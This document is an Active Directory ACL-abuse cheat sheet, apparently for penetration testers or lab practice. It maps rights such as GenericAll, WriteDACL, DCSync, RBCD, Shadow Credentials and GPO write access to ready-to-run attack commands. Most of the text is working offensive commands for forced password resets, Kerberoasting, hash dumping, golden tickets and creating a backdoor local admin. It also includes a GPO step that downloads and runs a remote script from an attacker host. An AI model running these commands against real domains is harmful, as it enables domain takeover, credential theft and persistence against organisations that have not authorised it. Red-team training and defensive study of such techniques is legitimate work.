Legend:
[DA]= Domain Admin required to set up lab |[ANY]= Any low-priv user can be the victim/target object |[PRIV]= Privileged object (DC, Domain, etc.)
1. GenericAll
What it means: Full control over the target object — equivalent to being its owner.
1.1 GenericAll on a User
Attacks: Force password reset, Shadow Credentials, targeted Kerberoasting (add SPN), add to group.
# --- Option A: Force password reset (no old password needed) ---
net rpc password <TargetUser> 'NewPass123!' -U 'DOMAIN/AttackerUser%AttackerPass' -S <DC_IP>
# With bloodyAD
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> set password <TargetUser> 'NewPass123!'
# With PowerView
Set-DomainUserPassword -Identity <TargetUser> -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force) -Verbose
# --- Option B: Add SPN then Kerberoast ---
Set-DomainObject -Identity <TargetUser> -Set @{serviceprincipalname='fake/spn'}
GetUserSPNs.py domain.local/attacker:Pass123! -request -dc-ip <DC_IP>
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
# --- Option C: Shadow Credentials (if ADCS/DC supports PKINIT) ---
certipy shadow auto -u attacker@domain.local -p 'Pass123!' -account <TargetUser> -dc-ip <DC_IP>
1.2 GenericAll on a Computer
Attacks: RBCD (Resource-Based Constrained Delegation), Shadow Credentials, LAPS read (if applied).
# --- RBCD Attack ---
# Step 1: Create a machine account (or use existing one with SPN)
addcomputer.py -computer-name 'EVIL$' -computer-pass 'Evil123!' -dc-ip <DC_IP> 'domain.local/attacker:Pass123!'
# Step 2: Write msDS-AllowedToActOnBehalfOfOtherIdentity on the target computer
rbcd.py -delegate-to '<TargetComputer>$' -delegate-from 'EVIL$' -action write -dc-ip <DC_IP> 'domain.local/attacker:Pass123!'
# Step 3: Get impersonation ticket
getST.py -spn 'cifs/<TargetComputer>.domain.local' -impersonate Administrator -dc-ip <DC_IP> 'domain.local/EVIL$:Evil123!'
# Step 4: Use ticket
export KRB5CCNAME=Administrator@cifs_<TargetComputer>.ccache
secretsdump.py -k -no-pass <TargetComputer>.domain.local
# --- Shadow Credentials on Computer ---
certipy shadow auto -u attacker@domain.local -p 'Pass123!' -account '<TargetComputer>$' -dc-ip <DC_IP>
1.3 GenericAll on a Group
Attacks: Add yourself or any user to the group.
# net rpc
net rpc group addmem "<GroupName>" <TargetUser> -U 'DOMAIN/attacker%Pass123!' -S <DC_IP>
# bloodyAD
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> add groupMember "<GroupName>" <UserToAdd>
# PowerView
Add-DomainGroupMember -Identity '<GroupName>' -Members '<UserToAdd>'
# Impacket
addToGroupMember.py -dc-ip <DC_IP> 'domain.local/attacker:Pass123!' -group "<GroupName>" -member "<UserToAdd>"
1.4 GenericAll on a Domain Object
Attacks: Grant yourself DCSync rights, grant WriteDACL, essentially own the domain.
# Grant DCSync rights to attacker
dacledit.py -action write -rights DCSync -principal attacker -target-dn 'DC=domain,DC=local' -dc-ip <DC_IP> 'domain.local/attacker:Pass123!'
# Then run DCSync
secretsdump.py -just-dc domain.local/attacker:Pass123!@<DC_IP>
1.5 GenericAll on a GPO
2. GenericWrite
What it means: Write access to non-protected attributes of the object (not password).
2.1 GenericWrite on a User
Attacks: Add SPN (Kerberoast), modify scriptPath (logon script), Shadow Credentials.
# --- Targeted Kerberoasting (add SPN) ---
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> set object <TargetUser> servicePrincipalName -v 'fake/spn.domain.local'
GetUserSPNs.py domain.local/attacker:Pass123! -request -dc-ip <DC_IP> -outputfile hashes.kerberoast
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt
# --- Logon Script Abuse (scriptPath) ---
# Drop a malicious script on a share first, then point scriptPath to it
Set-DomainObject -Identity <TargetUser> -Set @{scriptPath='\\ATTACKER\share\evil.ps1'}
# --- Shadow Credentials ---
certipy shadow auto -u attacker@domain.local -p 'Pass123!' -account <TargetUser> -dc-ip <DC_IP>
2.2 GenericWrite on a Computer
Attacks: RBCD via writing msDS-AllowedToActOnBehalfOfOtherIdentity, Shadow Credentials.
# RBCD (same as GenericAll on Computer — write the msDS attribute)
rbcd.py -delegate-to '<TargetComputer>$' -delegate-from 'EVIL$' -action write -dc-ip <DC_IP> 'domain.local/attacker:Pass123!'
# Shadow Credentials
certipy shadow auto -u attacker@domain.local -p 'Pass123!' -account '<TargetComputer>$' -dc-ip <DC_IP>
2.3 GenericWrite on a Group
Attacks: Modify member attribute — add/remove members.
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> add groupMember "<GroupName>" <UserToAdd>
# PowerView
Add-DomainGroupMember -Identity '<GroupName>' -Members 'attacker'
2.4 GenericWrite on a GPO
3. WriteProperty
What it means: Write access to a specific property of an object. Depends on which property is writable.
3.1 WriteProperty (member) on a Group
Attack: Add yourself to the group.
# Identical to AddMember — see Section 8
Add-DomainGroupMember -Identity '<GroupName>' -Members 'attacker'
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> add groupMember "<GroupName>" attacker
3.2 WriteProperty (msDS-KeyCredentialLink) on a User or Computer
Attack: Shadow Credentials — write a certificate keypair and authenticate as the target.
# certipy (auto mode handles everything)
certipy shadow auto -u attacker@domain.local -p 'Pass123!' -account <TargetUser> -dc-ip <DC_IP>
# Manual: add the key credential
certipy shadow add -u attacker@domain.local -p 'Pass123!' -account <TargetUser> -dc-ip <DC_IP>
# Authenticate with the generated pfx
certipy auth -pfx <TargetUser>.pfx -dc-ip <DC_IP>
# Recover NTLM from TGT
# certipy outputs the NTLM hash directly
3.3 WriteProperty (msDS-AllowedToActOnBehalfOfOtherIdentity) on a Computer
Attack: RBCD — see Section 13.
3.4 WriteProperty (servicePrincipalName) on a User
Attack: Targeted Kerberoasting — see Section 15.
3.5 WriteProperty (scriptPath) on a User
Attack: Logon script hijack — execute arbitrary command when the user logs in.
# Set scriptPath to UNC path of attacker-controlled script
Set-ADUser -Identity <TargetUser> -ScriptPath '\\ATTACKER_IP\share\evil.bat'
# When victim logs in, the script runs in their context
4. WriteDACL
What it means: Modify the DACL (access control list) of the object. You can grant yourself any rights.
4.1 WriteDACL on a User
# Grant yourself GenericAll, then do any User attack
dacledit.py -action write -rights FullControl -principal attacker -target <TargetUser> -dc-ip <DC_IP> 'domain.local/attacker:Pass123!'
# PowerView
Add-DomainObjectAcl -TargetIdentity <TargetUser> -PrincipalIdentity attacker -Rights All
4.2 WriteDACL on a Group
# Grant yourself AddMember rights, then add yourself
Add-DomainObjectAcl -TargetIdentity '<GroupName>' -PrincipalIdentity attacker -Rights WriteMembers
Add-DomainGroupMember -Identity '<GroupName>' -Members attacker
4.3 WriteDACL on a Computer
# Grant GenericAll on the computer, then RBCD or Shadow Creds
Add-DomainObjectAcl -TargetIdentity '<ComputerName>$' -PrincipalIdentity attacker -Rights All
4.4 WriteDACL on the Domain Object — DCSync
# Grant DCSync rights (GetChanges + GetChangesAll) to attacker
dacledit.py -action write -rights DCSync -principal attacker -target-dn 'DC=domain,DC=local' -dc-ip <DC_IP> 'domain.local/attacker:Pass123!'
# PowerView
Add-DomainObjectAcl -TargetIdentity 'DC=domain,DC=local' -PrincipalIdentity attacker -Rights DCSync
# Then DCSync
secretsdump.py domain.local/attacker:Pass123!@<DC_IP> -just-dc -just-dc-ntlm
5. WriteOwner
What it means: Change the owner of an object. The owner always has implicit ReadControl + WriteDACL, so you escalate immediately after changing ownership.
5.1 WriteOwner on Any Object
Attack chain: WriteOwner → take ownership → WriteDACL yourself → GenericAll → perform desired attack.
# Step 1: Set yourself as owner
Set-DomainObjectOwner -Identity <Target> -OwnerIdentity attacker
# bloodyAD
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> set owner <Target> attacker
# Step 2: Now you have WriteDACL as owner — grant yourself full control
Add-DomainObjectAcl -TargetIdentity <Target> -PrincipalIdentity attacker -Rights All
# Step 3: Perform the relevant attack (password reset, RBCD, DCSync, etc.)
5.2 WriteOwner on the Domain Object
# Take ownership of the domain
Set-DomainObjectOwner -Identity 'DC=domain,DC=local' -OwnerIdentity attacker
# Grant yourself DCSync
Add-DomainObjectAcl -TargetIdentity 'DC=domain,DC=local' -PrincipalIdentity attacker -Rights DCSync
# DCSync
secretsdump.py domain.local/attacker:Pass123!@<DC_IP> -just-dc
6. Owns (Object Ownership)
What it means: The SID of your user is set as the object owner. Owners always have ReadControl + WriteDACL implicitly regardless of the DACL entries.
Attack: Identical to having WriteDACL. You can write any ACE on the object.
# Verify ownership with PowerView
Get-DomainObjectAcl -Identity <Target> | Where-Object {$_.SecurityIdentifier -eq (Get-DomainUser attacker).objectsid}
# Grant yourself rights then abuse
Add-DomainObjectAcl -TargetIdentity <Target> -PrincipalIdentity attacker -Rights All
7. ForceChangePassword
Extended Right: User-Force-Change-Password
What it means: Change the target user's password without knowing the current one.
# net rpc (no LDAP required)
net rpc password <TargetUser> 'NewPass123!' -U 'DOMAIN/attacker%AttackerPass' -S <DC_IP>
# PowerView
$NewPassword = ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force
Set-DomainUserPassword -Identity <TargetUser> -AccountPassword $NewPassword
# bloodyAD
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> set password <TargetUser> 'NewPass123!'
# Impacket changepasswd
changepasswd.py domain.local/<TargetUser> -newpass 'NewPass123!' -altuser attacker -altpass 'Pass123!' -dc-ip <DC_IP>
Opsec note: Changing a password locks out the real user and may trigger alerts. Prefer Shadow Credentials or Kerberoasting if stealth matters.
8. AddMember / Self-Membership
Rights: WriteProperty on the member attribute OR Self (AddSelf) on a group.
Attack: Add yourself (or any user) to the target group.
# PowerView — add yourself
Add-DomainGroupMember -Identity '<GroupName>' -Members 'attacker'
# PowerView — add arbitrary user
Add-DomainGroupMember -Identity '<GroupName>' -Members '<AnyUser>'
# bloodyAD
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> add groupMember "<GroupName>" attacker
# net rpc
net rpc group addmem "<GroupName>" attacker -U 'DOMAIN/attacker%Pass123!' -S <DC_IP>
# Verify membership
Get-DomainGroupMember -Identity '<GroupName>'
Scenario: If <GroupName> = Domain Admins → immediate DA. If <GroupName> = Account Operators → can manage non-protected users/groups.
9. AllExtendedRights
What it means: Grants all extended rights on the object (a superset of many specific extended rights).
9.1 AllExtendedRights on a User
Includes User-Force-Change-Password, DS-Replication-*, and reading confidential attributes like ms-Mcs-AdmPwd (LAPS).
# Force password change
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> set password <TargetUser> 'NewPass123!'
# Read LAPS if applicable
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> get search --filter '(objectClass=computer)' --attr ms-Mcs-AdmPwd
9.2 AllExtendedRights on the Domain Object
Attack: DCSync — you have DS-Replication-Get-Changes + DS-Replication-Get-Changes-All.
secretsdump.py domain.local/attacker:Pass123!@<DC_IP> -just-dc -just-dc-ntlm
10. ReadLAPSPassword
Right: AllExtendedRights or explicit read on ms-Mcs-AdmPwd / msLAPS-Password.
What it means: Read the local administrator password stored by LAPS for a computer.
# bloodyAD — dump LAPS passwords
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> get search \
--filter '(objectClass=computer)' \
--attr ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime,name
# crackmapexec
crackmapexec ldap <DC_IP> -u attacker -p 'Pass123!' --module laps
# PowerView
Get-DomainComputer -Filter {ms-Mcs-AdmPwd -ne $null} | Select-Object name, ms-Mcs-AdmPwd
# LAPSToolkit
Find-LAPSDelegatedGroups
Get-LAPSComputers
# Impacket
lapsv2dump.py -dc-ip <DC_IP> 'domain.local/attacker:Pass123!'
After getting LAPS password:
# Use as local admin on the target machine
crackmapexec smb <TARGET_IP> -u Administrator -p '<LAPSPassword>'
psexec.py Administrator:'<LAPSPassword>'@<TARGET_IP>
11. DCSync (GetChanges + GetChangesAll)
Rights: DS-Replication-Get-Changes + DS-Replication-Get-Changes-All on the domain object.
What it means: Simulate a domain controller replication request to pull all password hashes.
# secretsdump — full dump
secretsdump.py domain.local/attacker:Pass123!@<DC_IP> -just-dc -just-dc-ntlm
# secretsdump — single user (stealthy)
secretsdump.py domain.local/attacker:Pass123!@<DC_IP> -just-dc-user krbtgt -just-dc-ntlm
# mimikatz (on Windows)
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /all /csv
# With NTLM hash (Pass-the-Hash)
secretsdump.py -hashes :<NTLM_HASH> domain.local/attacker@<DC_IP> -just-dc-ntlm
Post-DCSync — Golden Ticket:
ticketer.py -nthash <krbtgt_NTLM> -domain-sid <DOMAIN_SID> -domain domain.local FakeAdmin
export KRB5CCNAME=FakeAdmin.ccache
psexec.py -k -no-pass domain.local/FakeAdmin@<DC_IP>
12. AddKeyCredentialLink — Shadow Credentials
Right: WriteProperty on msDS-KeyCredentialLink attribute (or GenericWrite/GenericAll).
What it means: Add a certificate-based credential to an account and authenticate as them via PKINIT Kerberos.
Requirements: Domain functional level ≥ 2016 OR ADCS with a CA that supports PKINIT (most environments).
# --- certipy (all-in-one) ---
# Auto: adds key, authenticates, gets NTLM, cleans up
certipy shadow auto -u attacker@domain.local -p 'Pass123!' -account <TargetUser> -dc-ip <DC_IP>
# Manual steps:
# 1. Add key credential
certipy shadow add -u attacker@domain.local -p 'Pass123!' -account <TargetUser> -dc-ip <DC_IP>
# Output: saved key to <TargetUser>.pfx
# 2. Authenticate and get TGT + NTLM
certipy auth -pfx <TargetUser>.pfx -dc-ip <DC_IP>
# Output: NTLM hash + TGT (.ccache)
# 3. Use the TGT
export KRB5CCNAME=<TargetUser>.ccache
secretsdump.py -k -no-pass domain.local/<TargetUser>@<DC_IP> # if DA
# --- pywhisker (alternative) ---
pywhisker.py -d domain.local -u attacker -p 'Pass123!' --target <TargetUser> --action add --dc-ip <DC_IP>
# Then use the pfx with gettgtpkinit.py or certipy auth
# --- For Computer Accounts ---
certipy shadow auto -u attacker@domain.local -p 'Pass123!' -account '<ComputerName>$' -dc-ip <DC_IP>
# Use resulting TGT for S4U2Self → S4U2Proxy (RBCD-style pivot)
13. WriteAccountRestrictions / msDS-AllowedToActOnBehalfOfOtherIdentity — RBCD
What it means: Write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on a computer. This configures Resource-Based Constrained Delegation, allowing a chosen account to impersonate any user to that computer.
Requirements: Need a controlled account with an SPN (machine account or service account). MachineAccountQuota default = 10, so any domain user can create machine accounts.
# Step 1: Create controlled machine account (attacker needs only domain user)
addcomputer.py -computer-name 'EVIL$' -computer-pass 'Evil123!' \
-dc-ip <DC_IP> 'domain.local/attacker:Pass123!'
# Step 2: Write RBCD attribute on target computer
rbcd.py -delegate-to '<TargetComputer>$' -delegate-from 'EVIL$' \
-action write -dc-ip <DC_IP> 'domain.local/attacker:Pass123!'
# Step 3: Request S4U2Self + S4U2Proxy ticket impersonating Administrator
getST.py -spn 'cifs/<TargetComputer>.domain.local' \
-impersonate Administrator \
-dc-ip <DC_IP> 'domain.local/EVIL$:Evil123!'
# Output: Administrator@cifs_<TargetComputer>.ccache
# Step 4: Use the ticket
export KRB5CCNAME=Administrator@cifs_<TargetComputer>.ccache
secretsdump.py -k -no-pass <TargetComputer>.domain.local
# Or PSExec
psexec.py -k -no-pass <TargetComputer>.domain.local
# --- Cleanup ---
rbcd.py -delegate-to '<TargetComputer>$' -delegate-from 'EVIL$' \
-action remove -dc-ip <DC_IP> 'domain.local/attacker:Pass123!'
Alternate: If you already have a service account with SPN:
getST.py -spn 'cifs/<TargetComputer>.domain.local' \
-impersonate Administrator \
-dc-ip <DC_IP> 'domain.local/svc_account:SvcPass!'
14. ReadGMSAPassword
Right: Read msDS-ManagedPassword attribute on a gMSA account.
What it means: Group Managed Service Accounts store their auto-rotating passwords in a blob readable only by authorized principals. If you're in the authorized group, you can extract the NTLM hash.
# bloodyAD
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> \
get object 'gMSA_Account$' --attr msDS-ManagedPassword
# crackmapexec
crackmapexec ldap <DC_IP> -u attacker -p 'Pass123!' --gmsa
# gMSADumper.py
gMSADumper.py -u attacker -p 'Pass123!' -d domain.local -l <DC_IP>
# PowerView / GMSAPasswordReader
$gmsa = Get-ADServiceAccount -Identity 'gMSA_Account' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'
ConvertFrom-ADManagedPasswordBlob $mp
After getting gMSA hash — Pass the Hash:
crackmapexec smb <TARGET> -u 'gMSA_Account$' -H <NTLM_HASH>
secretsdump.py -hashes :<NTLM_HASH> 'domain.local/gMSA_Account$'@<DC_IP>
15. WriteSPN — Targeted Kerberoasting
Right: Write servicePrincipalName attribute on a user (via GenericWrite or specific WriteProperty).
What it means: Add a fake SPN to any user account, making it Kerberoastable even if it didn't have one.
# Step 1: Add a fake SPN to the target user
Set-DomainObject -Identity <TargetUser> -Set @{serviceprincipalname='fake/spn.domain.local'}
# bloodyAD
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> \
set object <TargetUser> servicePrincipalName -v 'fake/spn.domain.local'
# Step 2: Kerberoast the target
GetUserSPNs.py domain.local/attacker:Pass123! -request -dc-ip <DC_IP> \
-target-domain domain.local -outputfile targeted.hash
# Step 3: Crack
hashcat -m 13100 targeted.hash /usr/share/wordlists/rockyou.txt
# Step 4: Cleanup — remove SPN (opsec)
Set-DomainObject -Identity <TargetUser> -Clear serviceprincipalname
Why useful? Allows Kerberoasting high-privilege accounts (e.g., Domain Admin) that don't have SPNs normally.
16. AllowedToDelegate — Constrained Delegation
Right/Attribute: msDS-AllowedToDelegateTo + TRUSTED_TO_AUTH_FOR_DELEGATION UAC flag.
What it means: A service account with Constrained Delegation can impersonate any user to a specified service (S4U2Proxy). With Protocol Transition (T2A4D flag), it can also get a forwardable ticket for any user (S4U2Self).
# Find accounts with constrained delegation
findDelegation.py domain.local/attacker:Pass123! -dc-ip <DC_IP>
Get-DomainComputer -TrustedToAuth | Select-Object name, msds-allowedtodelegateto
# Abuse — impersonate Administrator to the delegated service
getST.py -spn 'cifs/<TargetServer>' -impersonate Administrator \
-dc-ip <DC_IP> 'domain.local/svc_constrained:SvcPass!'
export KRB5CCNAME=Administrator@cifs_<TargetServer>.ccache
# If you need a different SPN on the same host (alternate service substitution):
getST.py -spn 'host/<TargetServer>' -impersonate Administrator \
-altservice 'cifs' -dc-ip <DC_IP> 'domain.local/svc_constrained:SvcPass!'
17. GPO Abuse
Rights: GenericAll, GenericWrite, or WriteProperty on a GPO object (and the GPO must be linked to a relevant OU).
What it means: Modify Group Policy to push malicious configurations to all computers/users in scope.
# Step 1: Find GPOs you have write access to
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
$_.ActiveDirectoryRights -match 'WriteProperty|GenericWrite|GenericAll' -and
$_.SecurityIdentifier -eq (Get-DomainUser attacker).objectsid
}
# Also via BloodHound: look for "WriteGPLink", "GenericWrite on GPO" edges
# Step 2: Check GPO link scope (which OUs are affected)
Get-DomainOU | Get-DomainObjectAcl | Where-Object { ... }
Get-GPO -All | Where-Object { $_.DisplayName -eq '<GPO_Name>' }
Attack A — Add local admin via GPO (SharpGPOAbuse / pyGPOAbuse):
# Python
pygpoabuse -u attacker -p 'Pass123!' -d domain.local -dc-ip <DC_IP> \
-gpo-id '<GPO_GUID>' -type localadmin -user attacker
# SharpGPOAbuse (Windows)
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName "<GPO Name>"
Attack B — Scheduled Task via GPO:
pygpoabuse -u attacker -p 'Pass123!' -d domain.local -dc-ip <DC_IP> \
-gpo-id '<GPO_GUID>' -type task \
-command 'cmd.exe /c net user backdoor Pass123! /add && net localgroup administrators backdoor /add'
Attack C — Immediate Script execution:
pygpoabuse -u attacker -p 'Pass123!' -d domain.local -dc-ip <DC_IP> \
-gpo-id '<GPO_GUID>' -type script \
-command "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/rev.ps1')"
Force GPO refresh on targets:
crackmapexec smb <TARGET_IP> -u attacker -p 'Pass123!' -M gpupdate
# Or via RPC: gpupdate /force
18. Self Rights (AddSelf)
Right: Self right on a group's member attribute.
What it means: You can add only yourself to the group (not arbitrary users).
# PowerView
Add-DomainGroupMember -Identity '<GroupName>' -Members 'attacker'
# bloodyAD
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> \
add groupMember "<GroupName>" attacker
# net rpc
net rpc group addmem "<GroupName>" attacker -U 'DOMAIN/attacker%Pass123!' -S <DC_IP>
19. Extended Right: User-Force-Change-Password
Covered in Section 7 — this is a distinct extended right (GUID 00299570-...) that only allows password reset without knowing the current password.
20. Extended Right: DS-Replication-Get-Changes-All
Covered in Section 11 — both this and DS-Replication-Get-Changes are required for a DCSync. Having only one is insufficient.
21. Scenario Matrix
| ACE / Right | Target Object | Attack | Tool |
|---|---|---|---|
| GenericAll | User | Password reset, Shadow Creds, Kerberoast | bloodyAD, certipy, PowerView |
| GenericAll | Computer | RBCD, Shadow Creds | rbcd.py, certipy |
| GenericAll | Group | Add member | bloodyAD, PowerView |
| GenericAll | Domain | DCSync, DACL abuse | secretsdump, dacledit |
| GenericAll | GPO | Push malicious policy | pyGPOAbuse |
| GenericWrite | User | Add SPN → Kerberoast, Shadow Creds | bloodyAD, certipy |
| GenericWrite | Computer | RBCD, Shadow Creds | rbcd.py, certipy |
| GenericWrite | Group | Add member | bloodyAD |
| GenericWrite | GPO | Push malicious policy | pyGPOAbuse |
| WriteProperty (member) | Group | Add member | PowerView, bloodyAD |
| WriteProperty (msDS-KeyCredentialLink) | User/Computer | Shadow Credentials | certipy, pywhisker |
| WriteProperty (msDS-AllowedToActOnBehalfOfOtherIdentity) | Computer | RBCD | rbcd.py |
| WriteProperty (servicePrincipalName) | User | Targeted Kerberoasting | bloodyAD, GetUserSPNs |
| WriteProperty (scriptPath) | User | Logon script hijack | Set-ADUser |
| WriteDACL | Any | Grant self any right | dacledit, PowerView |
| WriteDACL | Domain | Grant DCSync | dacledit, PowerView |
| WriteOwner | Any | Take ownership → WriteDACL | PowerView, bloodyAD |
| Owns | Any | WriteDACL → any attack | PowerView |
| ForceChangePassword | User | Password reset | bloodyAD, net rpc |
| AddMember / Self | Group | Add self to group | bloodyAD, PowerView |
| AllExtendedRights | User | Password reset, LAPS read | bloodyAD |
| AllExtendedRights | Domain | DCSync | secretsdump |
| ReadLAPSPassword / ms-Mcs-AdmPwd | Computer | Get local admin password | bloodyAD, CME |
| DCSync (GetChanges+GetChangesAll) | Domain | Dump all hashes, Golden Ticket | secretsdump |
| AddKeyCredentialLink | User/Computer | Shadow Credentials → NTLM | certipy |
| WriteAccountRestrictions | Computer | RBCD | rbcd.py, getST |
| ReadGMSAPassword | gMSA Account | Extract gMSA NTLM hash | gMSADumper, CME |
| WriteSPN | User | Targeted Kerberoasting | bloodyAD, GetUserSPNs |
| Constrained Delegation (T2A4D) | Service Acct | Impersonate any user → S4U | getST |
| GPO WriteProperty/GenericWrite | GPO Object | Local admin, sched task, script | pyGPOAbuse |
| Self (AddSelf) | Group | Add self to group | bloodyAD, PowerView |
Enumeration — Finding Abusable ACLs
# BloodHound (recommended — visualizes the entire attack path)
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc <DC_IP> \
-c All --zip
# Import zip into BloodHound, use built-in queries:
# "Find Principals with DCSync Rights"
# "Find Principals with Unknown DCSync Rights"
# "Shortest Paths to Domain Admin"
# PowerView — enumerate ACLs for current user
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {
$_.IdentityReferenceName -match 'attacker|groupname'
}
# PowerView — check specific object
Get-DomainObjectAcl -Identity <Target> -ResolveGUIDs | Where-Object {
$_.ActiveDirectoryRights -ne 'GenericRead'
}
# dacledit — enumerate
dacledit.py -action read -target <Target> -dc-ip <DC_IP> 'domain.local/attacker:Pass123!'
# bloodyAD
bloodyAD -u attacker -p 'Pass123!' -d domain.local --host <DC_IP> get object <Target> --attr ntSecurityDescriptor
Quick Reference — Tool Cheat Sheet
| Tool | Install | Common Use |
|---|---|---|
bloodyAD |
pip install bloodyad |
LDAP-based ACL abuse (write attrs, add members, passwords) |
certipy |
pip install certipy-ad |
Shadow Credentials, ADCS ESC attacks |
dacledit.py |
Impacket | Read/write DACLs |
rbcd.py |
Impacket | RBCD attribute manipulation |
getST.py |
Impacket | S4U2Self/S4U2Proxy ticket requests |
secretsdump.py |
Impacket | DCSync, dump hashes |
addcomputer.py |
Impacket | Create machine accounts |
GetUserSPNs.py |
Impacket | Kerberoasting |
pygpoabuse |
pip install pygpoabuse |
GPO-based attacks |
gMSADumper.py |
GitHub | gMSA password extraction |
pywhisker |
GitHub | Shadow Credentials (alt to certipy) |
crackmapexec |
pip install crackmapexec |
Enumeration, LAPS, gMSA |
PowerView |
GitHub (PowerSploit) | AD enumeration + ACL abuse |
BloodHound + bloodhound-python |
GitHub | Attack path visualization |